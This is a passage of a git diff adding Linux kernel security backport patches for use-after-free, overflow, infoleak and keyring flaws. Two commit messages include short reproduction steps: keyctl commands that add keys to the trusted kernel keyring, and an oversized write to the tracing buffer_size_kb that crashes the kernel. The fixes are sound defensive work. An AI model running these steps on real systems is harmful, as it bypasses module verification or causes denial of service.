5464c8744ea95..e24388a863a76 100644 +--- a/lib/mpi/mpi-pow.c ++++ b/lib/mpi/mpi-pow.c +@@ -64,8 +64,13 @@ int mpi_powm(MPI res, MPI base, MPI exp, MPI mod) + if (!esize) { + /* Exponent is zero, result is 1 mod MOD, i.e., 1 or 0 + * depending on if MOD equals 1. */ +- rp[0] = 1; + res->nlimbs = (msize == 1 && mod->d[0] == 1) ? 0 : 1; ++ if (res->nlimbs) { ++ if (mpi_resize(res, 1) < 0) ++ goto enomem; ++ rp = res->d; ++ rp[0] = 1; ++ } + res->sign = 0; + goto leave; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0309-4bfb6dd77e79-packet fix race condition in packetsetring.patch b/recipes-kernel/linux/linux-bass/autopatcher/0309-4bfb6dd77e79-packet fix race condition in packetsetring.patch new file mode 100644 index 0000000..d82bb34 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0309-4bfb6dd77e79-packet fix race condition in packetsetring.patch @@ -0,0 +1,96 @@ +From 4bfb6dd77e79a9b70bb574bb4b9192a17c3351c1 Mon Sep 17 00:00:00 2001 +From: Philip Pettersson +Date: Wed, 30 Nov 2016 14:55:36 -0800 +Subject: packet: fix race condition in packet_set_ring + +commit 84ac7260236a49c79eede91617700174c2c19b0c upstream. + +When packet_set_ring creates a ring buffer it will initialize a +struct timer_list if the packet version is TPACKET_V3. This value +can then be raced by a different thread calling setsockopt to +set the version to TPACKET_V1 before packet_set_ring has finished. + +This leads to a use-after-free on a function pointer in the +struct timer_list when the socket is closed as the previously +initialized timer will not be deleted. + +The bug is fixed by taking lock_sock(sk) in packet_setsockopt when +changing the packet version while also taking the lock at the start +of packet_set_ring. + +Fixes: f6fb8f100b80 ("af-packet: TPACKET_V3 flexible buffer implementation.") +Signed-off-by: Philip Pettersson +Signed-off-by: Eric Dumazet +Signed-off-by: David S. Miller +Cc: gregkh@linuxfoundation.org +Signed-off-by: Willy Tarreau +--- + net/packet/af_packet.c | 18 ++++++++++++------ + 1 file changed, 12 insertions(+), 6 deletions(-) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index 24f006623f7c4..e38c69969c332 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -3135,19 +3135,25 @@ packet_setsockopt(struct socket *sock, int level, int optname, char __user *optv + + if (optlen != sizeof(val)) + return -EINVAL; +- if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) +- return -EBUSY; + if (copy_from_user(&val, optval, sizeof(val))) + return -EFAULT; + switch (val) { + case TPACKET_V1: + case TPACKET_V2: + case TPACKET_V3: +- po->tp_version = val; +- return 0; ++ break; + default: + return -EINVAL; + } ++ lock_sock(sk); ++ if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) { ++ ret = -EBUSY; ++ } else { ++ po->tp_version = val; ++ ret = 0; ++ } ++ release_sock(sk); ++ return ret; + } + case PACKET_RESERVE: + { +@@ -3603,6 +3609,7 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u, + /* Added to avoid minimal code churn */ + struct tpacket_req *req = &req_u->req; + ++ lock_sock(sk); + /* Opening a Tx-ring is NOT supported in TPACKET_V3 */ + if (!closing && tx_ring && (po->tp_version > TPACKET_V2)) { + WARN(1, "Tx-ring is not supported.\n"); +@@ -3684,7 +3691,6 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u, + goto out; + } + +- lock_sock(sk); + + /* Detach socket from network */ + spin_lock(&po->bind_lock); +@@ -3733,11 +3739,11 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u, + if (!tx_ring) + prb_shutdown_retire_blk_timer(po, tx_ring, rb_queue); + } +- release_sock(sk); + + if (pg_vec) + free_pg_vec(pg_vec, order, req->tp_block_nr); + out: ++ release_sock(sk); + return err; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0310-ec38771b3fe7-brcmfmac avoid potential stack overflow in brcmfcfg80211startap.patch b/recipes-kernel/linux/linux-bass/autopatcher/0310-ec38771b3fe7-brcmfmac avoid potential stack overflow in brcmfcfg80211startap.patch new file mode 100644 index 0000000..d1e3b42 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0310-ec38771b3fe7-brcmfmac avoid potential stack overflow in brcmfcfg80211startap.patch @@ -0,0 +1,40 @@ +From ec38771b3fe78a386577905bbbd71b1bf8bde860 Mon Sep 17 00:00:00 2001 +From: Arend Van Spriel +Date: Mon, 5 Sep 2016 10:45:47 +0100 +Subject: brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap() + +commit ded89912156b1a47d940a0c954c43afbabd0c42c upstream. + +User-space can choose to omit NL80211_ATTR_SSID and only provide raw +IE TLV data. When doing so it can provide SSID IE with length exceeding +the allowed size. The driver further processes this IE copying it +into a local variable without checking the length. Hence stack can be +corrupted and used as exploit. + +Reported-by: Daxing Guo +Reviewed-by: Hante Meuleman +Reviewed-by: Pieter-Paul Giesberts +Reviewed-by: Franky Lin +Signed-off-by: Arend van Spriel +Signed-off-by: Kalle Valo +Signed-off-by: Willy Tarreau +--- + drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c b/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c +index 301e572e89233..2c524305589fb 100644 +--- a/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c ++++ b/drivers/net/wireless/brcm80211/brcmfmac/wl_cfg80211.c +@@ -3726,7 +3726,7 @@ brcmf_cfg80211_start_ap(struct wiphy *wiphy, struct net_device *ndev, + (u8 *)&settings->beacon.head[ie_offset], + settings->beacon.head_len - ie_offset, + WLAN_EID_SSID); +- if (!ssid_ie) ++ if (!ssid_ie || ssid_ie->len > IEEE80211_MAX_SSID_LEN) + return -EINVAL; + + memcpy(ssid_le.SSID, ssid_ie->data, ssid_ie->len); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0311-37ccd2be0e78-vfiopci Fix integer overflows bitmask check.patch b/recipes-kernel/linux/linux-bass/autopatcher/0311-37ccd2be0e78-vfiopci Fix integer overflows bitmask check.patch new file mode 100644 index 0000000..b142ae2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0311-37ccd2be0e78-vfiopci Fix integer overflows bitmask check.patch @@ -0,0 +1,102 @@ +From 37ccd2be0e783b1fb8860ccd8b168109c22655c6 Mon Sep 17 00:00:00 2001 +From: Vlad Tsyrklevich +Date: Wed, 12 Oct 2016 18:51:24 +0200 +Subject: vfio/pci: Fix integer overflows, bitmask check + +commit 05692d7005a364add85c6e25a6c4447ce08f913a upstream. + +The VFIO_DEVICE_SET_IRQS ioctl did not sufficiently sanitize +user-supplied integers, potentially allowing memory corruption. This +patch adds appropriate integer overflow checks, checks the range bounds +for VFIO_IRQ_SET_DATA_NONE, and also verifies that only single element +in the VFIO_IRQ_SET_DATA_TYPE_MASK bitmask is set. +VFIO_IRQ_SET_ACTION_TYPE_MASK is already correctly checked later in +vfio_pci_set_irqs_ioctl(). + +Furthermore, a kzalloc is changed to a kcalloc because the use of a +kzalloc with an integer multiplication allowed an integer overflow +condition to be reached without this patch. kcalloc checks for overflow +and should prevent a similar occurrence. + +Signed-off-by: Vlad Tsyrklevich +Signed-off-by: Alex Williamson +Signed-off-by: Willy Tarreau +--- + drivers/vfio/pci/vfio_pci.c | 33 +++++++++++++++++++++------------ + drivers/vfio/pci/vfio_pci_intrs.c | 2 +- + 2 files changed, 22 insertions(+), 13 deletions(-) + +diff --git a/drivers/vfio/pci/vfio_pci.c b/drivers/vfio/pci/vfio_pci.c +index dc55bc254c5c..a1d0fc476146 100644 +--- a/drivers/vfio/pci/vfio_pci.c ++++ b/drivers/vfio/pci/vfio_pci.c +@@ -344,8 +344,9 @@ static long vfio_pci_ioctl(void *device_data, + + } else if (cmd == VFIO_DEVICE_SET_IRQS) { + struct vfio_irq_set hdr; ++ size_t size; + u8 *data = NULL; +- int ret = 0; ++ int max, ret = 0; + + minsz = offsetofend(struct vfio_irq_set, count); + +@@ -353,23 +354,31 @@ static long vfio_pci_ioctl(void *device_data, + return -EFAULT; + + if (hdr.argsz < minsz || hdr.index >= VFIO_PCI_NUM_IRQS || ++ hdr.count >= (U32_MAX - hdr.start) || + hdr.flags & ~(VFIO_IRQ_SET_DATA_TYPE_MASK | + VFIO_IRQ_SET_ACTION_TYPE_MASK)) + return -EINVAL; + +- if (!(hdr.flags & VFIO_IRQ_SET_DATA_NONE)) { +- size_t size; +- int max = vfio_pci_get_irq_count(vdev, hdr.index); ++ max = vfio_pci_get_irq_count(vdev, hdr.index); ++ if (hdr.start >= max || hdr.start + hdr.count > max) ++ return -EINVAL; + +- if (hdr.flags & VFIO_IRQ_SET_DATA_BOOL) +- size = sizeof(uint8_t); +- else if (hdr.flags & VFIO_IRQ_SET_DATA_EVENTFD) +- size = sizeof(int32_t); +- else +- return -EINVAL; ++ switch (hdr.flags & VFIO_IRQ_SET_DATA_TYPE_MASK) { ++ case VFIO_IRQ_SET_DATA_NONE: ++ size = 0; ++ break; ++ case VFIO_IRQ_SET_DATA_BOOL: ++ size = sizeof(uint8_t); ++ break; ++ case VFIO_IRQ_SET_DATA_EVENTFD: ++ size = sizeof(int32_t); ++ break; ++ default: ++ return -EINVAL; ++ } + +- if (hdr.argsz - minsz < hdr.count * size || +- hdr.start >= max || hdr.start + hdr.count > max) ++ if (size) { ++ if (hdr.argsz - minsz < hdr.count * size) + return -EINVAL; + + data = memdup_user((void __user *)(arg + minsz), +diff --git a/drivers/vfio/pci/vfio_pci_intrs.c b/drivers/vfio/pci/vfio_pci_intrs.c +index 4bc704e1b7c7..bfe72a991fa6 100644 +--- a/drivers/vfio/pci/vfio_pci_intrs.c ++++ b/drivers/vfio/pci/vfio_pci_intrs.c +@@ -468,7 +468,7 @@ static int vfio_msi_enable(struct vfio_pci_device *vdev, int nvec, bool msix) + if (!is_irq_none(vdev)) + return -EINVAL; + +- vdev->ctx = kzalloc(nvec * sizeof(struct vfio_pci_irq_ctx), GFP_KERNEL); ++ vdev->ctx = kcalloc(nvec, sizeof(struct vfio_pci_irq_ctx), GFP_KERNEL); + if (!vdev->ctx) + return -ENOMEM; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0312-0ffa1680d492-Fix potential infoleak in older kernels.patch b/recipes-kernel/linux/linux-bass/autopatcher/0312-0ffa1680d492-Fix potential infoleak in older kernels.patch new file mode 100644 index 0000000..d9468e9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0312-0ffa1680d492-Fix potential infoleak in older kernels.patch @@ -0,0 +1,41 @@ +From 0ffa1680d4921e4ce7446a4e2166548a0c75e93f Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Tue, 8 Nov 2016 11:17:00 +0100 +Subject: Fix potential infoleak in older kernels + +Not upstream as it is not needed there. + +So a patch something like this might be a safe way to fix the +potential infoleak in older kernels. + +THIS IS UNTESTED. It's a very obvious patch, though, so if it compiles +it probably works. It just initializes the output variable with 0 in +the inline asm description, instead of doing it in the exception +handler. + +It will generate slightly worse code (a few unnecessary ALU +operations), but it doesn't have any interactions with the exception +handler implementation. + +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + arch/x86/include/asm/uaccess.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/x86/include/asm/uaccess.h b/arch/x86/include/asm/uaccess.h +index 5ee26875baea..995c49aa1a19 100644 +--- a/arch/x86/include/asm/uaccess.h ++++ b/arch/x86/include/asm/uaccess.h +@@ -381,7 +381,7 @@ do { \ + asm volatile("1: mov"itype" %1,%"rtype"0\n" \ + "2:\n" \ + _ASM_EXTABLE_EX(1b, 2b) \ +- : ltype(x) : "m" (__m(addr))) ++ : ltype(x) : "m" (__m(addr)), "0" (0)) + + #define __put_user_nocheck(x, ptr, size) \ + ({ \ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0313-0058a4c1b620-sctp validate chunk len before actually using it.patch b/recipes-kernel/linux/linux-bass/autopatcher/0313-0058a4c1b620-sctp validate chunk len before actually using it.patch new file mode 100644 index 0000000..f33c323 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0313-0058a4c1b620-sctp validate chunk len before actually using it.patch @@ -0,0 +1,60 @@ +From 0058a4c1b6209f86a29c4ecbca7e3ed55544d3b0 Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Tue, 25 Oct 2016 14:27:39 -0200 +Subject: sctp: validate chunk len before actually using it + +commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 upstream. + +Andrey Konovalov reported that KASAN detected that SCTP was using a slab +beyond the boundaries. It was caused because when handling out of the +blue packets in function sctp_sf_ootb() it was checking the chunk len +only after already processing the first chunk, validating only for the +2nd and subsequent ones. + +The fix is to just move the check upwards so it's also validated for the +1st chunk. + +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: Marcelo Ricardo Leitner +Reviewed-by: Xin Long +Acked-by: Neil Horman +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/sctp/sm_statefuns.c | 12 ++++++------ + 1 file changed, 6 insertions(+), 6 deletions(-) + +diff --git a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c +index d9cbecb62aca..df938b2ab848 100644 +--- a/net/sctp/sm_statefuns.c ++++ b/net/sctp/sm_statefuns.c +@@ -3428,6 +3428,12 @@ sctp_disposition_t sctp_sf_ootb(struct net *net, + return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, + commands); + ++ /* Report violation if chunk len overflows */ ++ ch_end = ((__u8 *)ch) + WORD_ROUND(ntohs(ch->length)); ++ if (ch_end > skb_tail_pointer(skb)) ++ return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, ++ commands); ++ + /* Now that we know we at least have a chunk header, + * do things that are type appropriate. + */ +@@ -3459,12 +3465,6 @@ sctp_disposition_t sctp_sf_ootb(struct net *net, + } + } + +- /* Report violation if chunk len overflows */ +- ch_end = ((__u8 *)ch) + WORD_ROUND(ntohs(ch->length)); +- if (ch_end > skb_tail_pointer(skb)) +- return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, +- commands); +- + ch = (sctp_chunkhdr_t *) ch_end; + } while (ch_end < skb_tail_pointer(skb)); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0314-823a2a0330f2-sgwritebsgwrite is not fit to be called under KERNELDS.patch b/recipes-kernel/linux/linux-bass/autopatcher/0314-823a2a0330f2-sgwritebsgwrite is not fit to be called under KERNELDS.patch new file mode 100644 index 0000000..2f6ecf6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0314-823a2a0330f2-sgwritebsgwrite is not fit to be called under KERNELDS.patch @@ -0,0 +1,50 @@ +From 823a2a0330f25ccea8ef64ee4a378e37ca51361c Mon Sep 17 00:00:00 2001 +From: Al Viro +Date: Fri, 16 Dec 2016 13:42:06 -0500 +Subject: sg_write()/bsg_write() is not fit to be called under KERNEL_DS + +commit 128394eff343fc6d2f32172f03e24829539c5835 upstream. + +Both damn things interpret userland pointers embedded into the payload; +worse, they are actually traversing those. Leaving aside the bad +API design, this is very much _not_ safe to call with KERNEL_DS. +Bail out early if that happens. + +Signed-off-by: Al Viro +Signed-off-by: Willy Tarreau +--- + block/bsg.c | 3 +++ + drivers/scsi/sg.c | 3 +++ + 2 files changed, 6 insertions(+) + +diff --git a/block/bsg.c b/block/bsg.c +index 420a5a9f1b23..76801e57f556 100644 +--- a/block/bsg.c ++++ b/block/bsg.c +@@ -675,6 +675,9 @@ bsg_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) + + dprintk("%s: write %Zd bytes\n", bd->name, count); + ++ if (unlikely(segment_eq(get_fs(), KERNEL_DS))) ++ return -EINVAL; ++ + bsg_set_block(bd, file); + + bytes_written = 0; +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 1f65e32db285..291791a9be8b 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -568,6 +568,9 @@ sg_write(struct file *filp, const char __user *buf, size_t count, loff_t * ppos) + sg_io_hdr_t *hp; + unsigned char cmnd[MAX_COMMAND_SIZE]; + ++ if (unlikely(segment_eq(get_fs(), KERNEL_DS))) ++ return -EINVAL; ++ + if ((!(sfp = (Sg_fd *) filp->private_data)) || (!(sdp = sfp->parentdp))) + return -ENXIO; + SCSI_LOG_TIMEOUT(3, printk("sg_write: %s, count=%d\n", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0315-e242ef712daa-PATCH splice introduce FMODESPLICEREAD and FMODESPLICEWRITE.patch b/recipes-kernel/linux/linux-bass/autopatcher/0315-e242ef712daa-PATCH splice introduce FMODESPLICEREAD and FMODESPLICEWRITE.patch new file mode 100644 index 0000000..95cdecf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0315-e242ef712daa-PATCH splice introduce FMODESPLICEREAD and FMODESPLICEWRITE.patch @@ -0,0 +1,71 @@ +From e242ef712daad14398fd0e75c7fd40eeb55101c3 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Sat, 07 Jan 2017 19:14:29 +0100 +Subject: [PATCH] splice: introduce FMODE_SPLICE_READ and FMODE_SPLICE_WRITE + +Introduce FMODE_SPLICE_READ and FMODE_SPLICE_WRITE. These modes check +whether it is legal to read or write a file using splice. Both get +automatically set on regular files and are not checked when a 'struct +fileoperations' includes the splice_{read,write} methods. + +Change-Id: Ice6a3fab20bf0ac131f8d908f4bb0f7dc34bf4e3 +Suggested-by: Linus Torvalds +Cc: Al Viro +Signed-off-by: Johannes Thumshirn +--- + +diff --git a/fs/open.c b/fs/open.c +index 9bf7fa0..e0e2a37 100644 +--- a/fs/open.c ++++ b/fs/open.c +@@ -680,6 +680,10 @@ + return 0; + } + ++ if (S_ISREG(inode->i_mode)) ++ f->f_mode |= FMODE_SPLICE_WRITE | FMODE_SPLICE_READ; ++ ++ + f->f_op = fops_get(inode->i_fop); + + error = security_file_open(f, cred); +diff --git a/fs/splice.c b/fs/splice.c +index f183f13..8ba78ce 100644 +--- a/fs/splice.c ++++ b/fs/splice.c +@@ -381,6 +381,9 @@ + index++; + } + ++ if (unlikely(!(in->f_mode & FMODE_SPLICE_READ))) ++ return -EINVAL; ++ + /* + * Now loop over the map and see if we need to start IO on any + * pages, fill in the partial map, etc. +@@ -1084,6 +1087,9 @@ + { + ssize_t ret; + ++ if (unlikely(!(out->f_mode & FMODE_SPLICE_WRITE))) ++ return -EINVAL; ++ + ret = splice_from_pipe(pipe, out, ppos, len, flags, write_pipe_buf); + if (ret > 0) + *ppos += ret; +diff --git a/include/linux/fs.h b/include/linux/fs.h +index e6f1180..78300ef 100644 +--- a/include/linux/fs.h ++++ b/include/linux/fs.h +@@ -125,6 +125,11 @@ + /* File was opened by fanotify and shouldn't generate fanotify events */ + #define FMODE_NONOTIFY ((__force fmode_t)0x1000000) + ++/* File can be read using splice */ ++#define FMODE_SPLICE_READ ((__force fmode_t)0x8000000) ++/* File can be written using splice */ ++#define FMODE_SPLICE_WRITE ((__force fmode_t)0x10000000) ++ + /* + * Flag for rw_copy_check_uvector and compat_rw_copy_check_uvector + * that indicates that they should check the contents of the iovec are diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0316-58e4633a0841-kvm nVMX Allow L1 to intercept software exceptions BP and OF.patch b/recipes-kernel/linux/linux-bass/autopatcher/0316-58e4633a0841-kvm nVMX Allow L1 to intercept software exceptions BP and OF.patch new file mode 100644 index 0000000..2fb3920 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0316-58e4633a0841-kvm nVMX Allow L1 to intercept software exceptions BP and OF.patch @@ -0,0 +1,67 @@ +From 58e4633a0841c48ce32f14cd797ec5482ecfa83b Mon Sep 17 00:00:00 2001 +From: Jim Mattson +Date: Mon, 12 Dec 2016 11:01:37 -0800 +Subject: kvm: nVMX: Allow L1 to intercept software exceptions (#BP and #OF) + +commit ef85b67385436ddc1998f45f1d6a210f935b3388 upstream. + +When L2 exits to L0 due to "exception or NMI", software exceptions +(#BP and #OF) for which L1 has requested an intercept should be +handled by L1 rather than L0. Previously, only hardware exceptions +were forwarded to L1. + +Signed-off-by: Jim Mattson +Signed-off-by: Paolo Bonzini +Signed-off-by: Willy Tarreau +--- + arch/x86/kvm/vmx.c | 11 +++++------ + 1 file changed, 5 insertions(+), 6 deletions(-) + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index b4fa8a932150..d9016e4a80f9 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -1047,10 +1047,10 @@ static inline bool nested_cpu_has_virtual_nmis(struct vmcs12 *vmcs12, + return vmcs12->pin_based_vm_exec_control & PIN_BASED_VIRTUAL_NMIS; + } + +-static inline bool is_exception(u32 intr_info) ++static inline bool is_nmi(u32 intr_info) + { + return (intr_info & (INTR_INFO_INTR_TYPE_MASK | INTR_INFO_VALID_MASK)) +- == (INTR_TYPE_HARD_EXCEPTION | INTR_INFO_VALID_MASK); ++ == (INTR_TYPE_NMI_INTR | INTR_INFO_VALID_MASK); + } + + static void nested_vmx_vmexit(struct kvm_vcpu *vcpu); +@@ -4716,7 +4716,7 @@ static int handle_exception(struct kvm_vcpu *vcpu) + if (is_machine_check(intr_info)) + return handle_machine_check(vcpu); + +- if ((intr_info & INTR_INFO_INTR_TYPE_MASK) == INTR_TYPE_NMI_INTR) ++ if (is_nmi(intr_info)) + return 1; /* already handled by vmx_vcpu_run() */ + + if (is_no_device(intr_info)) { +@@ -6507,7 +6507,7 @@ static bool nested_vmx_exit_handled(struct kvm_vcpu *vcpu) + + switch (exit_reason) { + case EXIT_REASON_EXCEPTION_NMI: +- if (!is_exception(intr_info)) ++ if (is_nmi(intr_info)) + return 0; + else if (is_page_fault(intr_info)) + return enable_ept; +@@ -6803,8 +6803,7 @@ static void vmx_complete_atomic_exit(struct vcpu_vmx *vmx) + kvm_machine_check(); + + /* We need to handle NMIs before interrupts are enabled */ +- if ((exit_intr_info & INTR_INFO_INTR_TYPE_MASK) == INTR_TYPE_NMI_INTR && +- (exit_intr_info & INTR_INFO_VALID_MASK)) { ++ if (is_nmi(exit_intr_info)) { + kvm_before_handle_nmi(&vmx->vcpu); + asm("int $2"); + kvm_after_handle_nmi(&vmx->vcpu); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0317-8e728d261335-KEYS Disallow keyrings beginning with to be joined as session.patch b/recipes-kernel/linux/linux-bass/autopatcher/0317-8e728d261335-KEYS Disallow keyrings beginning with to be joined as session.patch new file mode 100644 index 0000000..de5b43f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0317-8e728d261335-KEYS Disallow keyrings beginning with to be joined as session.patch @@ -0,0 +1,82 @@ +From 8e728d261335059eeb96e8d6278f5f7ae4e456f5 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Tue, 18 Apr 2017 15:31:07 +0100 +Subject: KEYS: Disallow keyrings beginning with '.' to be joined as session + keyrings + +commit ee8f844e3c5a73b999edf733df1c529d6503ec2f upstream. + +This fixes CVE-2016-9604. + +Keyrings whose name begin with a '.' are special internal keyrings and so +userspace isn't allowed to create keyrings by this name to prevent +shadowing. However, the patch that added the guard didn't fix +KEYCTL_JOIN_SESSION_KEYRING. Not only can that create dot-named keyrings, +it can also subscribe to them as a session keyring if they grant SEARCH +permission to the user. + +This, for example, allows a root process to set .builtin_trusted_keys as +its session keyring, at which point it has full access because now the +possessor permissions are added. This permits root to add extra public +keys, thereby bypassing module verification. + +This also affects kexec and IMA. + +This can be tested by (as root): + + keyctl session .builtin_trusted_keys + keyctl add user a a @s + keyctl list @s + +which on my test box gives me: + + 2 keys in keyring: + 180010936: ---lswrv 0 0 asymmetric: Build time autogenerated kernel key: ae3d4a31b82daa8e1a75b49dc2bba949fd992a05 + 801382539: --alswrv 0 0 user: a + +Fix this by rejecting names beginning with a '.' in the keyctl. + +Signed-off-by: David Howells +Acked-by: Mimi Zohar +cc: linux-ima-devel@lists.sourceforge.net +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + security/keys/keyctl.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 3242195bfa95a..1324b2e102867 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -271,7 +271,8 @@ error: + * Create and join an anonymous session keyring or join a named session + * keyring, creating it if necessary. A named session keyring must have Search + * permission for it to be joined. Session keyrings without this permit will +- * be skipped over. ++ * be skipped over. It is not permitted for userspace to create or join ++ * keyrings whose name begin with a dot. + * + * If successful, the ID of the joined session keyring will be returned. + */ +@@ -288,12 +289,16 @@ long keyctl_join_session_keyring(const char __user *_name) + ret = PTR_ERR(name); + goto error; + } ++ ++ ret = -EPERM; ++ if (name[0] == '.') ++ goto error_name; + } + + /* join the session */ + ret = join_session_keyring(name); ++error_name: + kfree(name); +- + error: + return ret; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0318-acd291378f60-ringbuffer Prevent overflow of size in ringbufferresize.patch b/recipes-kernel/linux/linux-bass/autopatcher/0318-acd291378f60-ringbuffer Prevent overflow of size in ringbufferresize.patch new file mode 100644 index 0000000..bba6e2b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0318-acd291378f60-ringbuffer Prevent overflow of size in ringbufferresize.patch @@ -0,0 +1,92 @@ +From acd291378f60343d146b0157b64fbca97182c4ea Mon Sep 17 00:00:00 2001 +From: "Steven Rostedt (Red Hat)" +Date: Fri, 13 May 2016 09:34:12 -0400 +Subject: ring-buffer: Prevent overflow of size in ring_buffer_resize() + +commit 59643d1535eb220668692a5359de22545af579f6 upstream. + +If the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE +then the DIV_ROUND_UP() will return zero. + +Here's the details: + + # echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb + +tracing_entries_write() processes this and converts kb to bytes. + + 18014398509481980 << 10 = 18446744073709547520 + +and this is passed to ring_buffer_resize() as unsigned long size. + + size = DIV_ROUND_UP(size, BUF_PAGE_SIZE); + +Where DIV_ROUND_UP(a, b) is (a + b - 1)/b + +BUF_PAGE_SIZE is 4080 and here + + 18446744073709547520 + 4080 - 1 = 18446744073709551599 + +where 18446744073709551599 is still smaller than 2^64 + + 2^64 - 18446744073709551599 = 17 + +But now 18446744073709551599 / 4080 = 4521260802379792 + +and size = size * 4080 = 18446744073709551360 + +This is checked to make sure its still greater than 2 * 4080, +which it is. + +Then we convert to the number of buffer pages needed. + + nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE) + +but this time size is 18446744073709551360 and + + 2^64 - (18446744073709551360 + 4080 - 1) = -3823 + +Thus it overflows and the resulting number is less than 4080, which makes + + 3823 / 4080 = 0 + +an nr_pages is set to this. As we already checked against the minimum that +nr_pages may be, this causes the logic to fail as well, and we crash the +kernel. + +There's no reason to have the two DIV_ROUND_UP() (that's just result of +historical code changes), clean up the code and fix this bug. + +Cc: stable@vger.kernel.org # 3.5+ +Fixes: 83f40318dab00 ("ring-buffer: Make removal of ring buffer pages atomic") +Signed-off-by: Steven Rostedt +Signed-off-by: Willy Tarreau +--- + kernel/trace/ring_buffer.c | 9 ++++----- + 1 file changed, 4 insertions(+), 5 deletions(-) + +diff --git a/kernel/trace/ring_buffer.c b/kernel/trace/ring_buffer.c +index 6f70235770b9..c4ce3a951a1c 100644 +--- a/kernel/trace/ring_buffer.c ++++ b/kernel/trace/ring_buffer.c +@@ -1644,14 +1644,13 @@ int ring_buffer_resize(struct ring_buffer *buffer, unsigned long size, + !cpumask_test_cpu(cpu_id, buffer->cpumask)) + return size; + +- size = DIV_ROUND_UP(size, BUF_PAGE_SIZE); +- size *= BUF_PAGE_SIZE; ++ nr_pages = DIV_ROUND_UP(size, BUF_PAGE_SIZE); + + /* we need a minimum of two pages */ +- if (size < BUF_PAGE_SIZE * 2) +- size = BUF_PAGE_SIZE * 2; ++ if (nr_pages < 2) ++ nr_pages = 2; + +- nr_pages = DIV_ROUND_UP(size, BUF_PAGE_SIZE); ++ size = nr_pages * BUF_PAGE_SIZE; + + /* + * Don't succeed if resizing is disabled, as a reader might be +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0319.diff b/recipes-kernel/linux/linux-bass/autopatcher/0319.diff new file mode 100644 index 0000000..c7d6576 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0319.diff @@ -0,0 +1,22 @@ +diff --git a/net/core/sock.c b/net/core/sock.c +index 53dbb1d..7d1613e 100644 +--- a/net/core/sock.c ++++ b/net/core/sock.c +@@ -678,7 +678,7 @@ + val = min_t(u32, val, sysctl_wmem_max); + set_sndbuf: + sk->sk_userlocks |= SOCK_SNDBUF_LOCK; +- sk->sk_sndbuf = max_t(u32, val * 2, SOCK_MIN_SNDBUF); ++ sk->sk_sndbuf = max_t(int, val * 2, SOCK_MIN_SNDBUF); + /* Wake up sending tasks if we upped the value. */ + sk->sk_write_space(sk); + break; +@@ 